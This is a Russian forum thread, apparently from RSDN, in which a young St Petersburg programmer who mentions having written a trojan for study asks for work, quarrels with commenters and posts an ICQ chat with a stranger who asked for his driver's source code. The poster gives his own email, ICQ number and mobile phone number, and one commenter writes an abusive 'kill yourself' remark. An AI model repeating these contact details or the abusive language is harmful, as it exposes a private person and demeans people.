Re[19]: Хочу работать! Возьмите меня программистом!.. - Коллеги, улыбнитесь

Мне 21 год.
Живу в Санкт-Петербурге.
Есть опыт программирования (не коммерческого) около 3х лет.
Языки: Asm/Pascal/C++/C#/VB6/VBA/VB.NET
Платформы: Win32 API, Native API, .NET
Библиотеки: MFC, ntoskrnl.exe

Лучше всего из этого знаю C# и Win32 API.
Английский: на уровне чтения MSDN

и другой документации.

Работал с сокетами, с протоколами типа FTP, SMTP.
Более-менее представляю как работает программа под Windows.
Знание HTML есть, на JavaScript могу написать несложные скрипты, на SQL — составить несложный запрос.

Из того что я писал:
1. Инсталлятор (не IDE, а сам SETUP.EXE) — ещё в 8ом классе
2. FTP-клиент, SMTP-клиент
3. AutoLauncher 1.2 (написал по просьбе знакомого, у них есть сервер в местой сетке и есть программа, которая должна быть постоянно запущена, но иногда она падает, а мой AutoLauncher следит за этим и перезапускает эту программу в случае сбоя)
4. Троян под Win32 с применением инъекции кода для Windows 9x и все NT
5. Драйвер нулевого кольца под Windows 2000/XP/Server 2003, защищающий объекты системы от разных нехороших программ
6. ну и другое-разное...

Про пункты 4 и 5: я не хакер! Писал только в целях изучения Windows "изнутри"!

Проблема в том, что у меня ещё нет диплома об окончании Техникума там, или ВУЗа. Это первая проблема. Только через 2а года я закончу колледж. Но работа позарез нужна прямо сейчас!.. Есть госдиплом курсов (5 лет там отучился, 500 часов) с отличием. А вторая проблема — я учусь на дневном, но тут возможны варианты в зависимости от предложений. Могу и дома работать, если что.

Согласен даже на небольшую для начала зарплату! В принципе, я считаю, что уже поднакопил некоторое кол-во знаний для применения их в коммерческих продуктах. Если честно, я уже пишу коммерческий проект под .NET по своей иннициативе, это будет нечто революционное. Но это так, к слову. Конечно, я готов учиться, если я не знаю чего-то! Буду работать как проклятый!

Почему я пишу здесь... Я смотрел вакансии в этом форуме, но я думаю, мне не стоит туда соваться даже, т.к. где-то просят диплом об окончании чего-то, где-то опыт коммерческой разработки, где-то разговорный английский, или знания каких-либо технологий, которых я не знаю...

Возьмите меня хоть куда-нибудь!..

08.11.08 00:52: Перенесено из 'Работа — предложения работы от прямых работодателей'

Здравствуйте, Аноним, Вы писали:

А>Мне 21 год.
А>Живу в Санкт-Петербурге.
[...]
А>Возьмите меня хоть куда-нибудь!..

контакты бы оставил что ли...
кроме того, попробуй удаленно поискать работу: RAC и пр.

Забыл сказать!

Предложения скидывайте
либо сюда,
либо в асю: 258-094-213,
либо на мыло: kent200120022003@mail.ru.

Звать меня Роман.

Заранее спасибо всем, кто уделит мне внимание!

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>контакты бы оставил что ли...
U_E>кроме того, попробуй удаленно поискать работу: RAC и пр.

Контакты написал.
Кроме того могу даже мобильник дать: +7 921 419 2320.

А>Предложения скидывайте
А>либо сюда,
А>либо в асю: 258-094-213,
А>либо на мыло: kent200120022003@mail.ru.

А>Звать меня Роман.

товарищ кент Роман, Вы бы для начала зарегистрировались на сайте и завели приличный имейл для поисков работы.
иначе отношение будет у работодателей соответствующее. Сразу. Чревато потерей части потенциальной зарплаты

далее, набросали бы 1 стр резюме. как писать рассказано например тут: Пишем резюме

затем можно это дело закинуть туда Где программисты ищут работу?

А можно начать с Re[2]: Есть спец. сайты в сети с вакансиями?
и фактически заполнить резюме по их шаблону, сайт неплохой.

... << RSDN@Home 1.2.0 alpha rev. 653>>

Валерий, привет!
А может это вообще провокация? просто при впринципе по описанию Романа неплохих умениях человек не может найти работу в Питере... это странно. да ещё и это "Если честно, я уже пишу коммерческий проект под .NET по своей иннициативе, это будет нечто революционное"

EMC Software (www.emc.com)
PixTools/ISIS scanning

ne bud suxarem, vse mi odinakovie

Здравствуйте, Valery A. Boronin, Вы писали:

А>>Предложения скидывайте
А>>либо сюда,
А>>либо в асю: 258-094-213,
А>>либо на мыло: kent200120022003@mail.ru.

А>>Звать меня Роман.

VAB>товарищ кент Роман, Вы бы для начала зарегистрировались на сайте и завели приличный имейл для поисков работы.
VAB>иначе отношение будет у работодателей соответствующее. Сразу. Чревато потерей части потенциальной зарплаты

Вы что, работодатель? Нет. Тогда что вы делаете в этой ветке??? К вам лично просьба не писать здесь и не пугать народ.
Я ведь не ставил вопрос мол "помогите мне, подскажите мне...", я чётко сказал: "возьмите меня работать"!

А работодателям добро пожаловать!

Здравствуйте, Denis, Вы писали:

D>А может это вообще провокация?

нет, это не оно, вы ошибаетесь.

D>просто при впринципе по описанию Романа неплохих умениях человек не может найти работу в Питере... это странно.

после месяца безуспешных поисков я тоже думаю, что это странно...

D>да ещё и это "Если честно, я уже пишу коммерческий проект под .NET по своей иннициативе, это будет нечто революционное"

видимо, зря я это написал, это только с толку людей сбивает, как я вижу
но это так и есть...
хотя насчёт "коммерческий"... это я хочу сделать его коммерческим, а там как карта ляжет...

Здравствуйте, IID, Вы писали:

IID>ne bud suxarem, vse mi odinakovie

за тёплые слова спасибо, но что значит "одинаковые" ?

Здравствуйте, IID, Вы писали:
IID>ne bud suxarem, vse mi odinakovie

про сухаря поясните плиз

,а то как-то не понятно

вообще я уже всё понял... особенно после этого: Re[3]: Хочу работать! Возьмите меня программистом!..

EMC Software (www.emc.com)
PixTools/ISIS scanning

Здравствуйте, Аноним, Вы писали:

А>Вы что, работодатель? Нет. Тогда что вы делаете в этой ветке??? К вам лично просьба не писать здесь и не пугать народ.
А>Я ведь не ставил вопрос мол "помогите мне, подскажите мне...", я чётко сказал: "возьмите меня работать"!

А>А работодателям добро пожаловать!

мда... ну и тон

понятно, почему до сих пор на работу не взяли...

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

А>>Вы что, работодатель? Нет. Тогда что вы делаете в этой ветке??? К вам лично просьба не писать здесь и не пугать народ.
А>>Я ведь не ставил вопрос мол "помогите мне, подскажите мне...", я чётко сказал: "возьмите меня работать"!

А>>А работодателям добро пожаловать!

U_E>мда... ну и тон

понятно, почему до сих пор на работу не взяли...

Вам кажется, это грубо? Вам кажется, что я это сказал человеку совершенно незаслужено? Вы ошибаетесь.

Я смотрю не "работодатель/не работодатель", а "хороший человек/плохой человек". Я со всеми стараюсь сначала общаться корректно. Но этот человек сделал не очень хорошо — это называется "влез не туда". Соответственная и реакция.

Работодатель (если это нормальный работодатель, а не лохотрон какой-нибудь) не станет мне говорить всякую ахинею...

Раз уж затронули эту тему, повторяю: все кто не работодатели, праздношатающиеся и другие субъекты — идите лесом, в моей ветке итак балаган лимитед развели, я работу ищу, а не языком треплю здесь!

Пишите только те, кто реально хочет и может предложить мне какую-нибудь работу.

VAB>>товарищ кент Роман, Вы бы для начала зарегистрировались на сайте и завели приличный имейл для поисков работы.
VAB>>иначе отношение будет у работодателей соответствующее. Сразу. Чревато потерей части потенциальной зарплаты

А>Вы что, работодатель? Нет. Тогда что вы делаете в этой ветке???
вероятно трамвая жду

а Вы что подумали?

ладно, отвечаю по-порядку: нахожусь в отпуске и хорошем настроении — только что насладился Вашими острыми репликами, спасибо

по первому вопросу: Роман, откуда Вам знать, работодатель я или нет? Могу поспорить что с ясновидением пока не очень у Вас

Хорошо, подскажу: для кого-то нет, для кого-то да. Так что с первой же фразы — ошибки \баги, от англ. bugs — прим. ред.\ у Вас поперли. плохой признак с точки зрения работодателя, мда-с...

в результате вот сижу и думаю — ну не знаю почему

но вот появилось ощущение, что такого сотрудника я себе никогда не возьму — ни на работу, ни "хоть куда-нибудь". можете даже не просить и не выговаривать четко "возьмите меня работать" — вряд ли изменю свое решение, даже если напишите большими буквами

А>К вам лично просьба не писать здесь и не пугать народ.
насчет писать мне или не писать в этой или любых других ветках позволю себе самому решать

посему прошу мне своих просьб не высказывать — за сим и я Вашу уважу, пожалуй: то бишь не буду распугивать косяки работодателей привлеченных ярким накалом сей задорной дискуссии

PS дабы сдержать слово и не отвечать на сообщ. что вижу рядом, лишь замечу что: прошу извинить, если своим пред. некорректным постом нанес Вам настолько глубокую душевную рану, что вынудил отвечать мне таким образом.

PPS кстати говоря, ветка не есть Ваша. Если сможете доказать что Ваша лично и предъявить на сей счет докУмент — разрешаю бросить в меня камушком.

А>Я ведь не ставил вопрос мол "помогите мне, подскажите мне...", я чётко сказал: "возьмите меня работать"!
А вот с этим не поспоришь черт возьми!

Ведь и правда четче некуда было сказано! правда было сказано, цитирую:

Возьмите меня хоть куда-нибудь!..

ну ладно-ладно, знаю, в теме формулировка была получше. Да, и еще если быть до конца последовательным, стоит отметить, что вопрос ведь Вы же не ставили, Вы же его скомандовали! по этому случаю признаюсь — мне понравилась Ваша оригинальная манера разговора, располагает

Об армейской карьере не думали? обещает быть очень успешной... впрочем вижу что советы Вам точно не нужны — с удовольствием забираю их обратно.

А>А работодателям добро пожаловать!

А еще мне всегда нравились оптимисты. Удачи в поисках, Роман!

... << RSDN@Home 1.2.0 alpha rev. 653>>

Не знаю, что сказать на это... просто не знаю.
Я думаю, люди должны быть более проницательны.

Вы просто "выпендрились". Исходя из своего служебного положения.

... bla bla bla ...

Всё, я сам сказал, что пора кончать балаган, но сам же его и продолжаю, нехорошо. Всё! Конец дискуссии.
Работодатели надеюсь, насладились, этими постами и сделали выводы.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Valery A. Boronin, Вы писали:

А>>>Предложения скидывайте
А>>>либо сюда,
А>>>либо в асю: 258-094-213,
А>>>либо на мыло: kent200120022003@mail.ru.

А>>>Звать меня Роман.

VAB>>товарищ кент Роман, Вы бы для начала зарегистрировались на сайте и завели приличный имейл для поисков работы.
VAB>>иначе отношение будет у работодателей соответствующее. Сразу. Чревато потерей части потенциальной зарплаты

А>Вы что, работодатель? Нет. Тогда что вы делаете в этой ветке??? К вам лично просьба не писать здесь и не пугать народ.
А>Я ведь не ставил вопрос мол "помогите мне, подскажите мне...", я чётко сказал: "возьмите меня работать"!
Вот черт. Только отправил ссылку на этот топик в наш отдел кадров со словами, что этого человека надо пригласить на собеседование, так сразу же встретил это сообщение. Обидно, честное слово...

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Valery A. Boronin, Вы писали:

А>>>>Предложения скидывайте
А>>>>либо сюда,
А>>>>либо в асю: 258-094-213,
А>>>>либо на мыло: kent200120022003@mail.ru.

А>>>>Звать меня Роман.

VAB>>>товарищ кент Роман, Вы бы для начала зарегистрировались на сайте и завели приличный имейл для поисков работы.
VAB>>>иначе отношение будет у работодателей соответствующее. Сразу. Чревато потерей части потенциальной зарплаты

А>>Вы что, работодатель? Нет. Тогда что вы делаете в этой ветке??? К вам лично просьба не писать здесь и не пугать народ.
А>>Я ведь не ставил вопрос мол "помогите мне, подскажите мне...", я чётко сказал: "возьмите меня работать"!

LD>Вот черт. Только отправил ссылку на этот топик в наш отдел кадров со словами, что этого человека надо пригласить на собеседование, так сразу же встретил это сообщение. Обидно, честное слово...

Что значит "обидно"? Почему меня нельзя пригласить в отдел кадров после этого сообщения? Объяснитесь.

LD>>Вот черт. Только отправил ссылку на этот топик в наш отдел кадров со словами, что этого человека надо пригласить на собеседование, так сразу же встретил это сообщение. Обидно, честное слово...

А>Что значит "обидно"? Почему меня нельзя пригласить в отдел кадров после этого сообщения? Объяснитесь.
Ну просто как-то грубовато вы...
Хотя...
Пускай отдел кадров сам решает.

Здравствуйте, Lonely Dog, Вы писали:

LD>>>Вот черт. Только отправил ссылку на этот топик в наш отдел кадров со словами, что этого человека надо пригласить на собеседование, так сразу же встретил это сообщение. Обидно, честное слово...

А>>Что значит "обидно"? Почему меня нельзя пригласить в отдел кадров после этого сообщения? Объяснитесь.

LD>Ну просто как-то грубовато вы...

Я бы предпочёл термин "резко", ну да не суть... Это было заслуженно на мой взгляд, т.к. человек занимался *голой критикой*, и не дал ни одного дельного совета, хотя я советов и не просил.

LD>Хотя...
LD>Пускай отдел кадров сам решает.

Это правильно.

Здравствуйте, <Аноним>, Вы писали:

А>up! 5

Стэкъ оверфлов.

[EOF]

Здравствуйте, trophim, Вы писали:

А>>up! 5

T>Стэкъ оверфлов.

Бойся, Трофим, если ты не работодатель

Здравствуйте, trophim, Вы писали:

T>Здравствуйте, <Аноним>, Вы писали:

А>>up! 5

T>Стэкъ оверфлов.

Stack overflow, system is shutting down...
kernel PANIC!
attempting to kill INIT...

Здравствуйте, Аноним, Вы писали:

А>

А>Не знаю, что сказать на это... просто не знаю.
А>Я думаю, люди должны быть более проницательны.

А>Вы просто "выпендрились". Исходя из своего служебного положения.

А>... bla bla bla ...

А>Всё, я сам сказал, что пора кончать балаган, но сам же его и продолжаю, нехорошо. Всё! Конец дискуссии.
А>Работодатели надеюсь, насладились, этими постами и сделали выводы.

Да, мы сделали выводы аналогичные озвученным на пару постов выше. Советую поумерить свой пыл, ага.

Здравствуйте, xtile, Вы писали:

X>Здравствуйте, Аноним, Вы писали:

А>>

А>>Не знаю, что сказать на это... просто не знаю.
А>>Я думаю, люди должны быть более проницательны.

А>>Вы просто "выпендрились". Исходя из своего служебного положения.

А>>... bla bla bla ...

А>>Всё, я сам сказал, что пора кончать балаган, но сам же его и продолжаю, нехорошо. Всё! Конец дискуссии.
А>>Работодатели надеюсь, насладились, этими постами и сделали выводы.

X>Да, мы сделали выводы аналогичные озвученным на пару постов выше. Советую поумерить свой пыл, ага.

У меня нет никакого пыла.
Вы сделали неправильные выводы.

Смотрим дальше, может кто-то сделает правильные...

Здравствуйте, Аноним, Вы писали:

А>up 666!

Ну до сатанинских цифр мы ещё не скоро дойдём

up! 9

И ещё хотелось бы заметить, что пишут мне какие-то сомнительные люди.

Первый, кто написал, предлагал удалённую работу, но не смог мне элементарно сказать сколько я получу по окончании работы.
Сегодня один товарищ интересовался мною разработаным драйвером, но во-первых, практически сразу после начала разговора он попросил меня отправить ему исходники этого драйвера, что показалось мне подозрительным, а во-вторых постоянно обращался ко мне на "ты". Такого обращения я не ожидаю от серьёзных фирм.
Привожу нашу краткую переписку, чтобы вы смогли сами решить что тут и как:

Zeit (18:21) :
хмм
Zeit (18:22) :
ты гдето писал что разрабатвал чтото антивирусное
Zeit (18:22) :
я по этому вопросу
FuckedBitch (19:34) :
где именно я писал это?
Zeit (19:34) :
на форуме
FuckedBitch (19:34) :
каком?
Zeit (19:35) :
rsdn.ru
FuckedBitch (19:36) :
понял
да, там была выложена краткая версия моего резюме, где я вскольз упоминал о разработке такого драйвера...
FuckedBitch (19:36) :
это не было антивирусное ПО в полном смысле этого слова...
Zeit (19:36) :
какую именно роль несет этот драйвер?
FuckedBitch (19:38) :
1. защищает объекты системы, такие как ключи/значения реестра, объекты файловой системы, порцессы/потоки, адреса памяти, инет соединения и другое
2. фильтрует доступ по заданным параметрам (параметры процесса, имя пользователя и т.п.)
Zeit (19:39) :
ясно
Zeit (19:39) :
на чем был написан?
FuckedBitch (19:40) :
С++ (Win2k3 SP1 DDK)
Zeit (19:40) :
хмм — исходные коды можиш выслать?
FuckedBitch (19:41) :
ага, размечтался
Zeit (19:41) :
ну вот так вот и теряют места в компаниях
Zeit (19:41) :
когда хамят
Zeit (19:41) :
правельно там на форуме написали
FuckedBitch (19:41) :
это шантаж
FuckedBitch (19:41) :
))
Zeit (19:42) :
нет
Zeit (19:42) :
понимаеш как мы можем оценить твои знания
Zeit (19:42) :
да и при поступлении на работу в любую компанию
Zeit (19:42) :
помимо выполнения тестового задания
Zeit (19:42) :
просят прислать помимо резюме — часть своих исходных кодов
Zeit (19:43) :
хоть наша компания и из беларуси но мы набираем на удаленную 6 месячную работу
Zeit (19:43) :
для Немцев
Zeit (19:43) :
проект очень дорогой
Zeit (19:44) :
направлен на выпуск комплексной системы защиты информации
FuckedBitch (19:44) :
вы как умные люди должны понимать что исходники — это такая вещь, делиться которой станут только OpenSource'щики, а я к ним не принадлежу, так что исходники драйвера я вам не дам полюбому, я этот драйвер может быть ещё продавать буду...
Zeit (19:44) :
ну как знаеш
FuckedBitch (19:45) :
весёлые вы ребята, думали я поведусь на это?
FuckedBitch (19:45) :
)))
Zeit (19:45) :
ты работу врятли найдеш
Zeit (19:45) :
высокооплачиваемую
FuckedBitch (19:46) :
ну конечно, когда разговор начинается с того что мол "давай сюда свои исходники!", конечно тут не о чем говорить
FuckedBitch (19:46) :
и никакая серьёзная контора не будет говорить мне "ты", так что не смешите меня

Здравствуйте, Аноним, Вы писали:

А>Сегодня один товарищ интересовался мною разработаным драйвером, но во-первых, практически сразу после начала разговора он попросил меня отправить ему исходники этого драйвера, что показалось мне подозрительным, а во-вторых постоянно обращался ко мне на "ты". Такого обращения я не ожидаю от серьёзных фирм.

Вот ещё несколько моментов, которые меня насторожили:
1. он написал мне в воскресение
2. он неграмотный, в каждом втором слове у него какая-то ошибка
3. после того как, я отказался выслать исходники, он начал рассказывать что мол какая крутая у них фирма, и какой высокооплачиваемый у них проект
4. создалось впечатление, что я разговаривал с 19-летним пацаном

Здравствуйте, <Аноним>, Вы писали:

А>Вот ещё несколько моментов, которые меня насторожили:
А>1. он написал мне в воскресение

Это нормально.

А>2. он неграмотный, в каждом втором слове у него какая-то ошибка

Ни один из моих подчиненных тимлидов не может писать грамотно по-русски. По три-четыре ошибки на более-менее распространенное предложение.

А>3. после того как, я отказался выслать исходники, он начал рассказывать что мол какая крутая у них фирма, и какой высокооплачиваемый у них проект

Да, это странно. Вообще построение "виртуального собеседования" странное.

---
Woozle

Здравствуйте, w00zle, Вы писали:

W>Здравствуйте, <Аноним>, Вы писали:

А>>1. он написал мне в воскресение
W>Это нормально.

Это нормально?! Люди отдыхают в это время.

А>>2. он неграмотный, в каждом втором слове у него какая-то ошибка

W>Ни один из моих подчиненных тимлидов не может писать грамотно по-русски. По три-четыре ошибки на более-менее распространенное предложение.

Почитайте правила поведения на форуме RSDN. Вы никогда не задавались вопросом, почему тут нельзя писать неграмотно?

А>>3. после того как, я отказался выслать исходники, он начал рассказывать что мол какая крутая у них фирма, и какой высокооплачиваемый у них проект

W>Да, это странно. Вообще построение "виртуального собеседования" странное.

Это точно. Да это просто ребята решили драйвер на халяву заиметь...

Зажрался ты, друг!

Здравствуйте, Аноним, Вы писали:

А>up! 9

А>И ещё хотелось бы заметить, что пишут мне какие-то сомнительные люди.

А>Первый, кто написал, предлагал удалённую работу, но не смог мне элементарно сказать сколько я получу по окончании работы.

Это я Вам писал. Как я уже объяснил в своем письме Вам, я сначала предлагаю удаленному работнику самостоятельно оценить объем работы как в деньгах, так и по срокам. Когда-то давно я сам работал удаленно. Теперь часто нанимаю на небольшие, средние и крупные задачки удаленщиков. И никто, кроме Вас, не был удивлен, когда я просил упомянутые оценки. А поработал я уже со многими (больше, чем с пятью). Задумайтесь

С вашим минимальным опытом, с отсутствием опыта работы по найму — качать права и назначать свои порядки. Смешно это, право.

А>Сегодня один товарищ интересовался мною разработаным драйвером, но во-первых, практически сразу после начала разговора он попросил меня отправить ему исходники этого драйвера, что показалось мне подозрительным, а во-вторых постоянно обращался ко мне на "ты". Такого обращения я не ожидаю от серьёзных фирм.

Да, Господин, Вы все верно говорите

А>Привожу нашу краткую переписку, чтобы вы смогли сами решить что тут и как:

С тобой никто работать не будет, после того, как ты легко выкладываешь тут лог общения с человеком насчет работы. Сегодня ты выкладываешь тут приватный лог, а завтра продаешь конкурентам написанный для других код. Нафиг-нафиг таких товарищей.

А>FuckedBitch (19:34) :

у Вас офигенно серьезный ник

Здравствуйте, Аноним, Вы писали:

А>>>1. он написал мне в воскресение
W>>Это нормально.

А>Это нормально?! Люди отдыхают в это время.

Некоторым людям приходится работать по выходным и — о боже! — по ночам.

А>>>2. он неграмотный, в каждом втором слове у него какая-то ошибка

W>>Ни один из моих подчиненных тимлидов не может писать грамотно по-русски. По три-четыре ошибки на более-менее распространенное предложение.

А>Почитайте правила поведения на форуме RSDN. Вы никогда не задавались вопросом, почему тут нельзя писать неграмотно?

А Вы читали правила-то? Там запрещено тыкать собеседника в его ошибки. И не только здесь это считается дурным тоном.
Да и где Вы вычитали, что тут нельзя писать неграмотно? Дайте ссылку, любопытно будет почитать.

А>>>3. после того как, я отказался выслать исходники, он начал рассказывать что мол какая крутая у них фирма, и какой высокооплачиваемый у них проект

W>>Да, это странно. Вообще построение "виртуального собеседования" странное.

А>Это точно. Да это просто ребята решили драйвер на халяву заиметь...

Ага, решили разбогатеть на Вашем коде

На миллиард

Не меньше

Попросить пример исходников — норма.

ты прав, это ЗАГОВОР против тебя!!!

ну и на всякий случай, что ты(ой, Вы) не обижались:
UPPPP!!!!

Здравствуйте, Unhandled_Exception, Вы писали:

А>>>>2. он неграмотный, в каждом втором слове у него какая-то ошибка

W>>>Ни один из моих подчиненных тимлидов не может писать грамотно по-русски. По три-четыре ошибки на более-менее распространенное предложение.

А>>Почитайте правила поведения на форуме RSDN. Вы никогда не задавались вопросом, почему тут нельзя писать неграмотно?

U_E>А Вы читали правила-то? Там запрещено тыкать собеседника в его ошибки. И не только здесь это считается дурным тоном.
U_E>Да и где Вы вычитали, что тут нельзя писать неграмотно? Дайте ссылку, любопытно будет почитать.

Ссылка — модератор (ник не помню). Как-то когда я здесь только появился он сказал что нельзя здесь писать не по-русски, коряво и вроде того. Только на чистом русском.
Кстати, в ошибки я никого не тыкал, если вы заметили.

А>>>>3. после того как, я отказался выслать исходники, он начал рассказывать что мол какая крутая у них фирма, и какой высокооплачиваемый у них проект

W>>>Да, это странно. Вообще построение "виртуального собеседования" странное.
А>>Это точно. Да это просто ребята решили драйвер на халяву заиметь...
U_E>Ага, решили разбогатеть на Вашем коде

На миллиард

Не меньше

U_E>Попросить пример исходников — норма.

С этим я не спорю. Но почему же тогда этот товарищ не попросил пример других исходников, а? Почему всё упёрлось именно в этот драйвер??? Да потому что они именно его и хотели на халяву заиметь.
Разбогатеть — не разбогатеть, — кто знает?..

Здравствуйте, Unhandled_Exception, Вы писали:

А>>Первый, кто написал, предлагал удалённую работу, но не смог мне элементарно сказать сколько я получу по окончании работы.

U_E>Это я Вам писал. Как я уже объяснил в своем письме Вам, я сначала предлагаю удаленному работнику самостоятельно оценить объем работы как в деньгах, так и по срокам. Когда-то давно я сам работал удаленно. Теперь часто нанимаю на небольшие, средние и крупные задачки удаленщиков. И никто, кроме Вас, не был удивлен, когда я просил упомянутые оценки. А поработал я уже со многими (больше, чем с пятью). Задумайтесь

С вашим минимальным опытом, с отсутствием опыта работы по найму — качать права и назначать свои порядки. Смешно это, право.

После того как я попросил вас указать размер оплаты, вы куда-то слиняли. Вот это смешно.

А>>Привожу нашу краткую переписку, чтобы вы смогли сами решить что тут и как:

U_E>С тобой никто работать не будет, после того, как ты легко выкладываешь тут лог общения с человеком насчет работы. Сегодня ты выкладываешь тут приватный лог, а завтра продаешь конкурентам написанный для других код. Нафиг-нафиг таких товарищей.

Этот лог не приватный, т.к. не содержит никакой конфиденциальной информации.
Если бы я швырялся исходниками направо и налево, я бы выслал исходники драйвера. Но я этого не сделал, я думал вы на это обратите внимание. Но вы обращаете внимание только на то, над чем можно поиздеваться.

А>>FuckedBitch (19:34) :

U_E>у Вас офигенно серьезный ник

Вы заметили? Мне тоже нравится.

Здравствуйте, Аноним, Вы писали:

А>Зажрался ты, друг!

Посущественнее вы ничего не смогли из себя выдавить?

Здравствуйте, Аноним, Вы писали:

U_E>>А Вы читали правила-то? Там запрещено тыкать собеседника в его ошибки. И не только здесь это считается дурным тоном.
U_E>>Да и где Вы вычитали, что тут нельзя писать неграмотно? Дайте ссылку, любопытно будет почитать.

А>Ссылка — модератор (ник не помню). Как-то когда я здесь только появился он сказал что нельзя здесь писать не по-русски, коряво и вроде того. Только на чистом русском.

Значит, ссылки нету. Ясно.

U_E>>Попросить пример исходников — норма.

А>С этим я не спорю. Но почему же тогда этот товарищ не попросил пример других исходников, а? Почему всё упёрлось именно в этот драйвер??? Да потому что они именно его и хотели на халяву заиметь.

Может быть, потому что тебе хотели предложить разработку именно драйвера, вероятно со схожей функциональностью.

Здравствуйте, Аноним, Вы писали:

А>После того как я попросил вас указать размер оплаты, вы куда-то слиняли. Вот это смешно.

Потому что Вы повели себя, как хам и грубиян. Думаешь, с таким можно работать? Ни хрена с таким не сработаешься. Я тебя уверяю, Ваш характер тут все давно усвоили.

Слинял... охренеть. Так и представляю, как Вы звоните в отдел кадров какой-нибудь конторы и спрашиваете, а куда же слинял Ваш HR-менеджер, а то он мне больше не звонит

А>>>Привожу нашу краткую переписку, чтобы вы смогли сами решить что тут и как:

U_E>>С тобой никто работать не будет, после того, как ты легко выкладываешь тут лог общения с человеком насчет работы. Сегодня ты выкладываешь тут приватный лог, а завтра продаешь конкурентам написанный для других код. Нафиг-нафиг таких товарищей.

А>Этот лог не приватный, т.к. не содержит никакой конфиденциальной информации.

Ой-ой-ой. Вы спросили своего собеседника, можно ли выложить лог на публичный сайт?

А>Если бы я швырялся исходниками направо и налево, я бы выслал исходники драйвера. Но я этого не сделал, я думал вы на это обратите внимание. Но вы обращаете внимание только на то, над чем можно поиздеваться.

А>>>FuckedBitch (19:34) :

U_E>>у Вас офигенно серьезный ник

А>Вы заметили? Мне тоже нравится.

Удачи в поиске работы

А>>Зажрался ты, друг!
А>Посущественнее вы ничего не смогли из себя выдавить?

А чего ж существеннее? Кричать на весь мир, как ты хочешь работать, а потом отказываться от предлагаемой работы — как это еще назвать? Да еще по таким смехотворным поводам.

Здравствуйте, Unhandled_Exception, Вы писали:

А>>После того как я попросил вас указать размер оплаты, вы куда-то слиняли. Вот это смешно.
U_E>Потому что Вы повели себя, как хам и грубиян.

Вообще-то это вы начали говорить мол о том что дескать все с кем вы работаете, о зарплате не спрашивают. На что я сказал, что меня не интересует с кем и как вы общаетесь, и попросил решить вопрос со мной.

U_E>Слинял... охренеть. Так и представляю, как Вы звоните в отдел кадров какой-нибудь конторы и спрашиваете, а куда же слинял Ваш HR-менеджер, а то он мне больше не звонит

А я представляю, как вы говорите своим людям при приёме на работу что-то вроде "как у тебя фамилия? Козодойкин?! охренеть!!!".

А>>Этот лог не приватный, т.к. не содержит никакой конфиденциальной информации.

U_E>Ой-ой-ой. Вы спросили своего собеседника, можно ли выложить лог на публичный сайт?

Какой к чёрту собеседник! Это был халявщик! Я не даю свои (и не только свои) исходники направо и налево! Он мог попросить написать конкретный код под конкретную задачу, или выслать маленький кусочек хотя бы, а не просить именно исходники моего драйвера! Да он даже не представился! Мол, "я Иван Фёдоров менеджер отдела кадров, нас заинтересовала ваши кандидатура, мы хотели бы вас немного протестировать и т.д. и т.п." Он даже не назвал компанию! Мало всего этого, он ещё начал в конце говорить жуткие вещи, мол "никогда, никогда у тебя не будет много денег!" (c) "}{отт@бь)4". Он бы ещё сказал "ещё 10 лет у тебя стоять не будет!"

Здравствуйте, Аноним, Вы писали:

Знаешь парень. Убей себя об стену. С таким отношением к людям у тебя никогда не будет работы.

Лол! Ветку в "Коллеги, улыбнитесь!"

Здравствуйте, FunnyRabbit, Вы писали:
FR>Знаешь парень. Убей себя об стену. С таким отношением к людям у тебя никогда не будет работы.

Ну да. Ничего, мы ещё посмотрим. Этот "парень" ещё миллионы сделает, а вы будете сидеть на своих местах.

Вы все, кто здесь отписался, все не правы. Я устал вам это доказывать. Объясню последний раз.

Я могу работать в команде. Я могу работать один. На качество моего кода это не повлияет.
У меня нет никакого негативного отношения к людям, к работодателям.
Я хочу чтобы со мной общались корректно, по делу, без лишних слов. Так должен общаться любой серьёзный работодатель.
Все кто сидят здесь, на форуме, типа Unhandled_Exception и других, кто здесь отписался, — не есть серьёзные люди. Это хохмачи. Я уж не знаю, какие подукты они делают и кто у них заказчики, но иметь с ними дела я не могу и уже не хочу.

Кстати, мне кажется, что здесь нет ни одного представителя серьёзных, крупных банков (директората). Потому что у них есть дела поважнее.

Что вы мне здесь о каком-то отношении говорите?! Вы сами, что сказали, кроме критики моего email и ICQ nick ??? Ничего! Одни не могут вразумительно ответить на вопрос о деньгах, другие требуют исходники мол им дайте (свои пишите, уважаемые!), третьи ещё что... А где серьёзные предложения?!

Я всё ещё верю, что есть нормальные работодатели, которые поймут, что я не грубиян, а сказал каждому то, что тот заслужил.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FunnyRabbit, Вы писали:
FR>>Знаешь парень. Убей себя об стену. С таким отношением к людям у тебя никогда не будет работы.

А>Ну да. Ничего, мы ещё посмотрим. Этот "парень" ещё миллионы сделает, а вы будете сидеть на своих местах.

А>Вы все, кто здесь отписался, все не правы. Я устал вам это доказывать. Объясню последний раз.

А>Я могу работать в команде. Я могу работать один. На качество моего кода это не повлияет.
А>У меня нет никакого негативного отношения к людям, к работодателям.
А>Я хочу чтобы со мной общались корректно, по делу, без лишних слов. Так должен общаться любой серьёзный работодатель.
А>Все кто сидят здесь, на форуме, типа Unhandled_Exception и других, кто здесь отписался, — не есть серьёзные люди. Это хохмачи. Я уж не знаю, какие подукты они делают и кто у них заказчики, но иметь с ними дела я не могу и уже не хочу.

А>Кстати, мне кажется, что здесь нет ни одного представителя серьёзных, крупных банков (директората). Потому что у них есть дела поважнее.

А>Что вы мне здесь о каком-то отношении говорите?! Вы сами, что сказали, кроме критики моего email и ICQ nick ??? Ничего! Одни не могут вразумительно ответить на вопрос о деньгах, другие требуют исходники мол им дайте (свои пишите, уважаемые!), третьи ещё что... А где серьёзные предложения?!

А>Я всё ещё верю, что есть нормальные работодатели, которые поймут, что я не грубиян, а сказал каждому то, что тот заслужил.

Уж не знаю каким пупом земли ты себя считаешь, но работодатели, к которым ты обращаешся, помимо оценки твоих знаний оценивают еще, и по моему это не менее важно, умение работать в коллективе, умение выдерживать критику, умение быть толлерантным. Так что если ты ищешь справедливости и уважительного отноошения к себе, то относись справедливо и с уважением к другим. Особенно если у этих людей профессиональный и жизненный опыт более твоего. Тебе никто не хамит и никто не оскорбляет, а просто пытаются указать на некоторые ошибки в поведении.

